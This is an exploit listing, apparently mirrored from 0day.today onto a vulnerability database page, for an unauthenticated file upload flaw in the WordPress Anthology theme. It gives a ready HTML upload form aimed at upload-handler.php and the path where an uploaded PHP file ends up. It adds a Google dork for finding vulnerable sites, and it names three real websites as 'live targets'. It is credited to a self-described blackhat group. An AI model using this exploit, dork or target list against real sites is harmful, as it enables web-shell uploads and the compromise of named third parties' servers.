Lucene search
K

WordPress Anthology Themes Remote File Upload Vulnerability

🗓️ 05 Nov 2013 00:00:00Reported by ByakuyaType 
zdt
 zdt
🔗 0day.today👁 39 Views

WordPress Anthology Themes Remote File Upload Vulnerability affecting versions v1.1 - v1.4.4, enabling unauthorized file uploads. Exploit allows malicious files to be uploaded to the target server using upload-handler.php. Affected themes can be found at http://themeforest.net/item/anthology-premium-elegant-wordpress-theme/131771

Code
###################################################################################################
#_________            .___        _______                ___.   .__        
#\_   ___ \  ____   __| _/____    \      \   ______  _  _\_ |__ |__| ____  
#/    \  \/ /  _ \ / __ |/ __ \   /   |   \_/ __ \ \/ \/ /| __ \|  |/ __ \ 
#\     \___(  <_> ) /_/ \  ___/  /    |    \  ___/\     / | \_\ \  \  ___/ 
# \______  /\____/\____ |\___  > \____|__  /\___  >\/\_/  |___  /__|\___  >
#        \/            \/    \/          \/     \/            \/        \/ 
###################################################################################################
# Exploit Title: WordPress Anthology Themes Remote File Upload Vulnerability
# Author: Byakuya
# Date: 11/04/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://themeforest.net/item/anthology-premium-elegant-wordpress-theme/131771
# Price: $35
# Affected Version: v1.1 - v1.4.4
# Infected File: upload-handler.php
# Category: webapps
# Google dork: inurl:/wp-content/themes/Anthology/
# Tested on : Windows/Linux
###################################################################################################

# Exploit & POC :

<form enctype="multipart/form-data" 
action="http://127.0.0.1/wordpress/wp-content/themes/Anthology/functions/upload-handler.php" method="post">
Please choose a file: <input name="pexetofile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path: 
http://127.0.0.1/wordpress/wp-content/uploads/[year]/[month]/up.php

#Live Target :
http://carolannjoysalon.com/wp-content/themes/anthology/functions/upload-handler.php
http://mariejo-vannerie.fr/wordpress/wp-content/themes/anthology/functions/upload-handler.php
http://elbaumvideo.com/wp-content/themes/anthology/functions/upload-handler.php

#Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Aiman Ariffin
         ./Official Code-Newbie ./Newbie-Security
#Facebook: https://www.facebook.com/CodeNewbieCrew
#Website: http://www.codenewbie.net
#Malaysia & Indonesia BlackHat
###################################################################################################

#  0day.today [2018-02-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation